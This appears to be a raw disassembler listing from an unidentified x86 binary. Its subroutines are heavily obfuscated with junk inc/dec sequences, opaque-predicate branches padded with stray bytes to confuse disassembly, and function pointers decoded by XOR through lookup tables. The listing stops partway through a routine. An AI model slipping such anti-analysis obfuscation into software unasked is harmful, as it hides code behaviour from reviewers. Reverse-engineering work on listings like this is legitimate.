sub_4A326F proc near ; DATA XREF: sub_4965D8+148Do var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D8C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 4Bh not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 0Dh inc cl inc cl inc cl inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax add ecx, 3 and eax, ecx pop ecx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3BC xor ecx, dword_4ED3C0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A32FF mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A32FF: ; CODE XREF: sub_4A326F+85j mov eax, [ebp+var_8] push eax call off_4F1D14 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A326F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3313 proc near ; DATA XREF: sub_4965D8+267o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D84 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 0Dh not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 0Dh inc cl inc cl inc cl inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax and eax, ecx pop ecx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3B4 xor ecx, dword_4ED3B8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A33A1 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A33A1: ; CODE XREF: sub_4A3313+83j mov eax, [ebp+var_8] push eax call off_4F1D0C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A3313 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A33B5 proc near ; DATA XREF: sub_4965D8+EE3o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DDC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 xor bh, 7 inc bh dec bh inc bh dec bh inc bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 86h dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl inc bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED40C xor ecx, dword_4ED410 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A3487 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A3487: ; CODE XREF: sub_4A33B5+C7j mov eax, [ebp+var_8] push eax call off_4F1D64 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A33B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A349B proc near ; DATA XREF: sub_4965D8+1460o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, [ebp+arg_0] bswap eax dec bh bswap eax and eax, 800h jo short loc_4A34BB jl short loc_4A34B9 loc_4A34B6: ; CODE XREF: sub_4A349B:loc_4A34B9j ; sub_4A349B:loc_4A34BBj jmp short loc_4A34BD ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_4A34B9: ; CODE XREF: sub_4A349B+19j jz short loc_4A34B6 loc_4A34BB: ; CODE XREF: sub_4A349B+17j jmp short loc_4A34B6 ; --------------------------------------------------------------------------- loc_4A34BD: ; CODE XREF: sub_4A349B:loc_4A34B6j mov ebx, 4 and eax, 10h dec ch mov ebx, [ebp+arg_4] xor ecx, ecx or ebx, ecx jz short loc_4A34DB dec edi sub ch, 2 dec ch and eax, 0 jmp short loc_4A34F1 ; --------------------------------------------------------------------------- loc_4A34DB: ; CODE XREF: sub_4A349B+33j dec edi jo short loc_4A34E5 jl short loc_4A34E3 loc_4A34E0: ; CODE XREF: sub_4A349B:loc_4A34E3j ; sub_4A349B:loc_4A34E5j jmp short loc_4A34E7 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_4A34E3: ; CODE XREF: sub_4A349B+43j jz short loc_4A34E0 loc_4A34E5: ; CODE XREF: sub_4A349B+41j jmp short loc_4A34E0 ; --------------------------------------------------------------------------- loc_4A34E7: ; CODE XREF: sub_4A349B:loc_4A34E0j and eax, 0 dec ecx sub ch, 2 inc eax dec ch loc_4A34F1: ; CODE XREF: sub_4A349B+3Ej mov [ebp+var_8], eax mov eax, dword_4ED410 xor eax, dword_4ED414 shl eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 0 jz short loc_4A3513 mov ecx, [ebp+var_4] or ecx, 1 mov [ebp+var_4], ecx loc_4A3513: ; CODE XREF: sub_4A349B+6Dj mov edx, [ebp+var_4] push edx call off_4F1D68 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A349B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3527 proc near ; DATA XREF: sub_4965D8+A5Fo var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, [ebp+arg_0] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 10h dec ch dec ch sub ch, 4 dec ch sub ch, 13h dec ch mov ebx, [ebp+arg_4] dec ah and cl, 0 dec ah xor edx, edx or ebx, edx jz short loc_4A3568 dec edi and eax, 0 jmp short loc_4A356C ; --------------------------------------------------------------------------- loc_4A3568: ; CODE XREF: sub_4A3527+39j and eax, 0 inc eax loc_4A356C: ; CODE XREF: sub_4A3527+3Fj mov [ebp+var_8], eax mov eax, dword_4ED3CC xor eax, dword_4ED3D0 shl eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 0 jz short loc_4A358E mov ecx, [ebp+var_4] or ecx, 1 mov [ebp+var_4], ecx loc_4A358E: ; CODE XREF: sub_4A3527+5Cj mov edx, [ebp+var_4] push edx call off_4F1D24 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A3527 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A35A2 proc near ; DATA XREF: sub_4965D8+305o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, [ebp+arg_0] dec bh and eax, 800h jo short loc_4A35BE jl short loc_4A35BC loc_4A35B9: ; CODE XREF: sub_4A35A2:loc_4A35BCj ; sub_4A35A2:loc_4A35BEj jmp short loc_4A35C0 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_4A35BC: ; CODE XREF: sub_4A35A2+15j jz short loc_4A35B9 loc_4A35BE: ; CODE XREF: sub_4A35A2+13j jmp short loc_4A35B9 ; --------------------------------------------------------------------------- loc_4A35C0: ; CODE XREF: sub_4A35A2:loc_4A35B9j mov ebx, 4 and eax, ebx mov ch, 52h dec ch mov ebx, [ebp+arg_4] test ebx, ebx jo short loc_4A35D9 jl short loc_4A35D7 loc_4A35D4: ; CODE XREF: sub_4A35A2:loc_4A35D7j ; sub_4A35A2:loc_4A35D9j jmp short loc_4A35DB ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_4A35D7: ; CODE XREF: sub_4A35A2+30j jz short loc_4A35D4 loc_4A35D9: ; CODE XREF: sub_4A35A2+2Ej jmp short loc_4A35D4 ; --------------------------------------------------------------------------- loc_4A35DB: ; CODE XREF: sub_4A35A2:loc_4A35D4j jz short loc_4A35E6 dec edi sub ch, 3 and eax, 0 jmp short loc_4A3607 ; --------------------------------------------------------------------------- loc_4A35E6: ; CODE XREF: sub_4A35A2:loc_4A35DBj dec edi dec ecx sub ch, 2 dec ch dec ch sub ch, 8 jo short loc_4A35FB jl short loc_4A35F9 loc_4A35F6: ; CODE XREF: sub_4A35A2:loc_4A35F9j ; sub_4A35A2:loc_4A35FBj jmp short loc_4A35FD ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_4A35F9: ; CODE XREF: sub_4A35A2+52j jz short loc_4A35F6 loc_4A35FB: ; CODE XREF: sub_4A35A2+50j jmp short loc_4A35F6 ; --------------------------------------------------------------------------- loc_4A35FD: ; CODE XREF: sub_4A35A2:loc_4A35F6j and eax, 0 dec ecx sub ch, 2 inc eax dec ch loc_4A3607: ; CODE XREF: sub_4A35A2+42j mov [ebp+var_8], eax mov eax, dword_4ED3C8 xor eax, dword_4ED3CC shl eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 0 jz short loc_4A3629 mov ecx, [ebp+var_4] or ecx, 1 mov [ebp+var_4], ecx loc_4A3629: ; CODE XREF: sub_4A35A2+7Cj mov edx, [ebp+var_4] push edx call off_4F1D20 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A35A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A363D proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:off_4ED844o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 98h mov [ebp+var_2C], 37h mov [ebp+var_28], 80h mov [ebp+var_24], 7 mov [ebp+var_20], 2Ch mov [ebp+var_1C], 95h mov [ebp+var_18], 9Ch mov [ebp+var_14], 21h mov [ebp+var_10], 13h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 13h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A36CE mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A36CE: ; CODE XREF: sub_4A363D+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A363D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A373A proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED848o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 58h mov [ebp+var_2C], 68h mov [ebp+var_28], 0 mov [ebp+var_24], 19h mov [ebp+var_20], 76h mov [ebp+var_1C], 0BAh mov [ebp+var_18], 0B4h mov [ebp+var_14], 26h mov [ebp+var_10], 0Fh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Fh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A37CB mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A37CB: ; CODE XREF: sub_4A373A+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A373A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3837 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED84Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 90h mov [ebp+var_2C], 37h mov [ebp+var_28], 0F7h mov [ebp+var_24], 56h mov [ebp+var_20], 0F2h mov [ebp+var_1C], 33h mov [ebp+var_18], 4Bh mov [ebp+var_14], 0D4h mov [ebp+var_10], 3 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 3 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A38C8 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A38C8: ; CODE XREF: sub_4A3837+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A3837 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3934 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED850o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 8Dh mov [ebp+var_2C], 7Dh mov [ebp+var_28], 0E7h mov [ebp+var_24], 3Ah mov [ebp+var_20], 74h mov [ebp+var_1C], 2Eh mov [ebp+var_18], 0B7h mov [ebp+var_14], 28h mov [ebp+var_10], 0Eh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Eh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A39C5 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A39C5: ; CODE XREF: sub_4A3934+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A3934 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3A31 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED854o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 41h mov [ebp+var_2C], 44h mov [ebp+var_28], 75h mov [ebp+var_24], 0B7h mov [ebp+var_20], 0A9h mov [ebp+var_1C], 1Dh mov [ebp+var_18], 47h mov [ebp+var_14], 85h mov [ebp+var_10], 0Dh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Dh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A3AC2 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A3AC2: ; CODE XREF: sub_4A3A31+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A3A31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3B2E proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED858o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0EBh mov [ebp+var_2C], 3Ch mov [ebp+var_28], 19h mov [ebp+var_24], 7Ah mov [ebp+var_20], 1Dh mov [ebp+var_1C], 5Ch mov [ebp+var_18], 0EAh mov [ebp+var_14], 7Bh mov [ebp+var_10], 6 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 6 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A3BBF mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A3BBF: ; CODE XREF: sub_4A3B2E+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A3B2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3C2B proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED85Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 2Dh mov [ebp+var_2C], 28h mov [ebp+var_28], 0DFh mov [ebp+var_24], 3Dh mov [ebp+var_20], 0E1h mov [ebp+var_1C], 0 mov [ebp+var_18], 53h mov [ebp+var_14], 0CBh mov [ebp+var_10], 5 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 5 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A3CBC mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A3CBC: ; CODE XREF: sub_4A3C2B+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A3C2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3D28 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED860o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 9Dh mov [ebp+var_2C], 0F3h mov [ebp+var_28], 81h mov [ebp+var_24], 0B9h mov [ebp+var_20], 75h mov [ebp+var_1C], 6Bh mov [ebp+var_18], 70h mov [ebp+var_14], 0B9h mov [ebp+var_10], 0Bh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Bh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A3DB9 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A3DB9: ; CODE XREF: sub_4A3D28+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A3D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3E25 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED864o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = 